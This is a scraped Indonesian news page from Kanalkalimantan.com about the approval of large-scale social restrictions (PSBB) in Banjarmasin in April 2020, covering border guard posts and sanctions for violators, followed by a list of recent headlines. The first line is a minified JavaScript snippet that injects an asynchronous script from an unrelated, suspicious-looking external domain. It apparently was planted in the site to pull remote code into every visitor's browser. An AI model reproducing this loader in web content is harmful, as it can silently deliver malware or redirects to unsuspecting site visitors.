(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

PSBB Disetujui, Perbatasan Kota Banjarmasin Dijaga Ketat dan Sanksi Bagi yang Melanggar


KANALKALIMANTAN.COM, BANJARMASIN – Pengajuan pembatasan sosial berskala besar (PSBB) di Kota Banjarmasin akhirnya disetujui oleh Menkes RI dr. Terawan Agus Putranto, melalui Keputusan Menkes RI Nomor HK.01.07/MENKES/262/2020. Sebagai konsekuensinya, seluruh perbatasan ibu kota Provinsi Kalsel ini diberi pos penjagaan.

Lalu, di mana saja tempat pos jaga selama PSBB diberlakukan? “Seluruh kota, jadi tidak per kecamatan ataupun kelurahan. Iya, semua perbatasan harus kita berlakukan,” kata Juru Bicara Tim Gugus Tugas Pencegahan Penanganan dan Pengendalian (P3) Covid-19 Kota Banjarmasin Dr. Machli Riyadi, Minggu (19/4/2020) malam.

Nantinya, untuk penjagaan sendiri akan dibentuk tim khusus yang ditunjuk oleh wali kota. Di samping itu, peranan Polresta Banjarmasin, Kodim 1007 Banjarmasin dan Satpol PP Kota Banjarmasin juga diperlukan selama pemberlakukan PSBB.

“Tentu lebih dominan untuk menjaga di jalan raya. Sehingga kita mengimbau kepada warga masyarakat agar lebih memahami kebijakan di Kota Banjarmasin ini,” lugasnya.


Ia menjelaskan, perbedaan antara PSBB dengan surat edaran ataupun surat imbauan yang telah diterbitkan sebelumnya terletak pada penerapan sanksi. Ya, selama PSBB akan diberikan sanksi kepada warga yang tidak mematuhi PSBB.

Machli berharap masyarakat Kota Banjarmasin betul-betul melaksanakan dan mentaati apa yang menjadi ketetapan ini. Seperti tetap berada di rumah saja dan menggunakan masker, dan betul-betul menerapkan pola hidup bersih dan sehat (PHBS).

“Dengan tidak ke luar rumah kalau urusan yang tidak penting sekali. Misalnya membawa anak ke dokter atau mencari obat, ke apotek atau pasar itu masih boleh. Pasar masih boleh buka tetapi kewajiban social distancing itu menjadi keharusan. Kalau melanggar ya ada sanksi, begitu juga tidak pakai masker juga ada sanksi,” pungkasnya. (Kanalkalimantan.com/fikri)

 


Desy Arfianty

Recent Posts

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

12 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

1 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

1 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

2 hari ago